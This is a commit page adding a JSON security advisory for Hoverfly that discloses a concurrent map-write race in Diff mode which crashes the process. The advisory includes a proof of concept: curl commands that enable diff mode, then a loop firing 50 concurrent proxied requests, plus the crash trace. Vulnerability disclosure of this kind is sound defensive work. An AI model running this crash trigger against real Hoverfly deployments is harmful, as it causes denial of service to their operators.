Skip to content

Commit d98dc82

Browse files
1 parent 6f7f72c commit d98dc82

1 file changed

Lines changed: 69 additions & 0 deletions

File tree

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-qrh4-p6v4-mrfg",
4+
"modified": "2026-07-14T18:03:10Z",
5+
"published": "2026-07-14T18:03:10Z",
6+
"aliases": [
7+
"CVE-2026-50013"
8+
],
9+
"summary": "Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode",
10+
"details": "### Summary:\n\nWhen Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.\n\n### Details:\n\n**1. Unsynchronized map access in `AddDiff()` (`core/hoverfly_service.go:417-421`):**\n\n```go\nfunc (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) {\n if len(diffReport.DiffEntries) > 0 {\n diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ\n hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE\n }\n}\n```\n\n**2. This function is called from Diff mode processing, which runs concurrently per request (`core/modes/diff_mode.go`):**\n\nEach incoming proxy request is handled in its own goroutine by Go's `net/http` server. In Diff mode, each request calls `AddDiff()` after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.\n\n**3. Go's runtime detects concurrent map access and terminates the process:**\n\nUnlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls `fatal()` which is unrecoverable, it cannot be caught by `recover()`.\n\n**4. No mutex protection exists on `responsesDiff`:**\n\nThe field is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` with no associated `sync.RWMutex`. Compare with `hf.state` which properly uses `sync.RWMutex` for its map access.\n\n### Environment:\n\n- **Hoverfly version:** v1.12.7\n- **Operating System:** macOS Darwin 25.4.0\n- **Go version:** 1.26.2\n- **Configuration:** Hoverfly in Diff mode (`PUT /api/v2/hoverfly/mode {\"mode\":\"diff\"}`)\n\n### POC:\n\n**Step 1: Start Hoverfly and set Diff mode**\n\n```bash\n./hoverfly &\nsleep 2\n\n# Set diff mode\ncurl -X PUT http://localhost:8888/api/v2/hoverfly/mode \\\n -H \"Content-Type: application/json\" \\\n -d '{\"mode\": \"diff\"}'\n\n# Load a simulation for diff comparison\ncurl -X PUT http://localhost:8888/api/v2/simulation \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"data\": {\n \"pairs\": [{\n \"request\": {\"path\": [{\"matcher\": \"glob\", \"value\": \"*\"}]},\n \"response\": {\"status\": 200, \"body\": \"expected\"}\n }],\n \"globalActions\": {\"delays\": [], \"delaysLogNormal\": []}\n },\n \"meta\": {\"schemaVersion\": \"v5.2\"}\n }'\n```\n\n**Step 2: Send concurrent requests to trigger the race**\n\n```bash\n# Send 50 concurrent requests, race condition triggers within seconds\nfor i in $(seq 1 50); do\n curl -s -x http://localhost:8500 \"http://httpbin.org/get?id=$i\" &\ndone\nwait\n```\n\n**Step 3: Observe the crash**\n\n```bash\n# Check if process is still running\npgrep -f hoverfly\n```\n\n**crash output on Hoverfly v1.12.7:**\n\n```\nfatal error: concurrent map read and map write\n\ngoroutine 892 [running]:\ngithub.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...)\n /core/hoverfly_service.go:419\ngithub.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...)\n```\n\nThe process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.\n\n### Impact:\n\n- **Full denial of service:** The process terminates immediately and cannot be recovered without a restart\n- **Trivial exploitation:** Any attacker with proxy access can trigger this by sending multiple concurrent requests\n- **No admin API access required:** Only proxy port access is needed to trigger the crash\n- **Unrecoverable:** `fatal error` in Go cannot be caught by `recover()` — the process is unconditionally killed\n- **Affects all Diff mode users:** Any team using Diff mode for API comparison testing is vulnerable",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/SpectoLabs/hoverfly"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.12.8"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.12.7"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-qrh4-p6v4-mrfg"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/SpectoLabs/hoverfly/pull/1227"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/SpectoLabs/hoverfly"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-362",
62+
"CWE-820"
63+
],
64+
"severity": "HIGH",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-07-14T18:03:10Z",
67+
"nvd_published_at": null
68+
}
69+
}

0 commit comments

Comments
 (0)